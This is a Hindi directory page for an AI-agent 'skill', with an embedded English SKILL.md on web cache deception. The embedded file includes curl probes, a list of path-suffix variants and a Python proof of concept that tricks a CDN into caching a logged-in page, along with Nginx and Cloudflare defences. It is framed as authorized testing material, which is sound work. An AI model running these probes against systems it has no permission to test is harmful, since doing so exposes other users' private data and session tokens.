cache-deception
यह क्या करती है
यह गाइड web cache deception को कवर करती है, जहाँ CDN या proxy लॉगिन किए यूज़र का निजी पेज ऐसे स्टोर करता है मानो वह सार्वजनिक हो। यह वेब ऐप के सामने कैश चलाने वाली टीमों के लिए है।
कब इस्तेमाल करें
- ✓जब कोई साइट CDN या proxy इस्तेमाल करती है जो फ़ाइल एक्सटेंशन या पथ पैटर्न पर पेज कैश करती है।
- ✓जब अधिकृत टेस्ट जाँचना चाहता है कि निजी पेज स्थिर दिखने वाले URL के नीचे कैश हो सकते हैं या नहीं।
- ✓जब टीम लॉगिन वाली सामग्री के लिए अपने कैश नियम समीक्षा कर रही है।
Skill का लिंक
https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/exploit/web/cache-deception/SKILL.mdइसे कॉपी करके अपने AI (Claude, ChatGPT या Cursor) में पेस्ट करें और निर्देशों का पालन करने को कहें।
कैसे इस्तेमाल करें
सबसे आसान तरीका: मैसेज कॉपी करके अपने AI में पेस्ट करें। वह skill पढ़कर निर्देशों का पालन करेगा।
पेस्ट करने के लिए तैयार मैसेज
Claude Code, Codex या Cursor के लिए: प्रोजेक्ट फ़ोल्डर में चलाएँ और skill इंस्टॉल हो जाएगी।
SKILL.md डाउनलोड करें और अपने एजेंट के skills फ़ोल्डर में रखें।
AI से क्या माँगें: उदाहरण
“हमारी साइट ऐप के सामने CDN इस्तेमाल करती है। क्या आप जाँच सकते हैं कि निजी खाता पेज स्थिर दिखने वाले URL के नीचे कैश हो सकते हैं?”
हर हफ़्ते 5 नई skills, 1 मिनट में पढ़ें।
यह कैसे काम करती है
एजेंट टेस्ट खाते में नकली स्थिर दिखने वाले पथों से खाता पेज माँगता है, कैश हेडर जाँचता है, और तुलना करता है कि बिना लॉगिन वाला विज़िटर क्या पाता है।
तकनीकी सामग्री (मूल SKILL.md)
लेखक का मूल टेक्स्ट, अंग्रेज़ी में, सीधे GitHub से।
Web Cache Deception
Reverse proxies / CDNs cache based on URL extension or path patterns
(.css, .jpg, /static/). If the origin server returns the
authenticated page for any path, attacker tricks the cache into storing
private content under a public-cacheable URL.
1. The classic
GET /account.css ← attacker visits, in their own session
Cache miss → origin returns /account (authenticated, w/ user cookies in URL or response body)
Cache stores response keyed on /account.css
GET /account.css ← victim or any unauth visitor
Cache HIT → serves the attacker-cached, victim-data response
2. Probe the deception
# Step 1: visit authenticated page w/ a fake .css path
curl -i -H "Cookie: session=$AUTH" $TARGET/account.css | grep -E '^(HTTP|Cache|X-Cache)'
# Look for:
# Cache-Control: public, max-age=...
# X-Cache: MISS (then HIT next time)
# Content-Length consistent w/ /account page (not 404)
# Step 2: from unauth session
curl -i $TARGET/account.css | grep -E 'HTTP|Cache' && diff_response_bodies
If the second request returns the AUTHENTICATED content of step 1 → deception confirmed.
3. Variants
| Variant | Path |
|---|---|
.css suffix |
/account/foo.css |
.jpg suffix |
/account.jpg |
/static/ prefix |
/static/../account |
| Multiple slashes | /account//.css |
URL-encoded ; |
/account%3B.css |
| Trailing semi-segment | /account;foo.css |
| Double extension | /account.html.css |
| Path parameter | /account.css/anything |
Each cache impl handles these differently. Cloudflare / Fastly / Akamai / Varnish all have known quirks.
4. Cache poisoning vs cache deception
- Deception — attacker forces cache of victim's data, served to others
- Poisoning — attacker injects content into a normal cached resource
This skill covers deception. Cache poisoning is a separate (overlapping) class.
5. Tools
- Param Miner (Burp plugin) — unkeyed param discovery
webcache.cyberxecution.comfor quick suffix probes- Manual via Burp Repeater
6. PoC
import requests
sess = requests.Session()
sess.cookies['session'] = 'AUTH_COOKIE'
# 1. Force cache of authenticated response
r1 = sess.get(f"{TARGET}/account.css")
print(f"step1 status={r1.status_code} body_hash={hash(r1.text)}")
# 2. Hit same URL unauth
r2 = requests.get(f"{TARGET}/account.css")
print(f"step2 status={r2.status_code} body_hash={hash(r2.text)}")
assert r2.text != "404 not found"
assert "private_data" in r2.text # adjust to whatever marker your auth page has
7. Severity
| Bug | Severity |
|---|---|
| Cache deception exposing PII (email, name, balance) | Critical 8-9 |
| Cache deception of session token | Critical 9.8 (ATO) |
| Cache deception of public-only data | Informational |
| Cache poisoning of script content | Critical 9.0 (RCE-adjacent in browser context) |
8. Defender
# Nginx — prefix-based cache keys, NOT extension-based
location / {
proxy_pass http://origin;
proxy_cache_key "$scheme$proxy_host$uri";
add_header Cache-Control "private, no-store" always;
}
# Cloudflare — set Cache Rules to require Vary: Cookie + Authorization
# AND match by Content-Type, not URL extension
Apps should send Cache-Control: private, no-store on every authenticated
response to defeat both deception and poisoning.
Cross-references
- Upstream catalog:
skills/_corpus/payloads/Web Cache Deception/ - Smuggling overlap:
skills/exploit/web/smuggling.md
Known exemplars
- Omer Gil's original PayPal disclosure (2017)
- Multiple HackerOne reports $5-15k for cache deception on enterprise SaaS
- 2023: notable Stripe disclosure of cache deception leading to PII leak
अक्सर पूछे जाने वाले सवाल
जोखिम क्या है?
निजी पेज स्टोर होकर उसी पते का इस्तेमाल करने वाले दूसरे विज़िटरों को दिखाया जा सकता है।
कौन-से पथ टेस्ट होते हैं?
गाइड के अनुसार वे पथ जो निजी पेजों में नकली स्थिर एक्सटेंशन या प्रीफ़िक्स जोड़ते हैं।
इसे कैसे ठीक करें?
कैश नियम ऐसे सेट करके कि लॉगिन वाले या निजी जवाब कभी स्टोर न हों।
जानकारी
लेखक का मूल विवरण
Web cache deception — trick CDN/proxy into caching authenticated responses under unauthenticated URLs, exposing PII to any visitor.
लोकप्रियता
- GitHub स्टार
- 6.5k
- रैंकिंग में स्थान
- #14052
- लाइसेंस
- Apache-2.0
- अपडेट की गई
- 1/11/2026
कमेंट
- …
इस repository की और skills
detector-overview
6.5kयह आपके एजेंट को स्कैनर से चिह्नित कोड पढ़ने और तय करने में मदद करती है कि कौन सी जगहें असली सुरक्षा बग हैं और कौन सी गलत चेतावनी।
exploiter-overview
6.5kयह आपके एजेंट को कई पक्की सुरक्षा कमज़ोरियों को एक परीक्षण श्रृंखला में जोड़ने और जाँचने में मदद करती है कि वह श्रृंखला कितनी दूर तक पहुँच सकती है।
llm-redteam-overview
6.5kयह आपके एजेंट को परीक्षण के लिए सही AI रेड-टीम गाइड खोजने में मदद करती है, प्रॉम्प्ट इंजेक्शन से लेकर मॉडल के दुरुपयोग तक 15 रणनीति समूहों में।
aatmf-t01-prompt-injection
6.5kसमझाती है कि प्रॉम्प्ट इंजेक्शन क्या है, जिसमें छिपे निर्देश AI सिस्टम के नियम बदलने की कोशिश करते हैं, ताकि सुरक्षा परीक्षक उसकी जाँच कर सकें।
मिलती-जुलती skills
reverse-engineer-anything
422kयह आपके एजेंट को REA टूल से शिप हुई ऐप्स और पैकेज को अंदर से समझने, वर्ज़न की तुलना करने या दोबारा बनाने में मदद करती है।
1password
394kयह आपके एजेंट को 1Password CLI सेट करने, साइन इन करने और सीक्रेट्स की वैल्यू चैट में छापे बिना उन्हें पढ़ने या इस्तेमाल करने में मदद करती है।
healthcheck
394kयह आपके एजेंट को उस कंप्यूटर या सर्वर का सुरक्षा ऑडिट करने देती है जिस पर OpenClaw चलता है, जिसमें SSH, firewall, अपडेट और बैकअप शामिल हैं, और फिर सुरक्षित सुधार सुझाती है।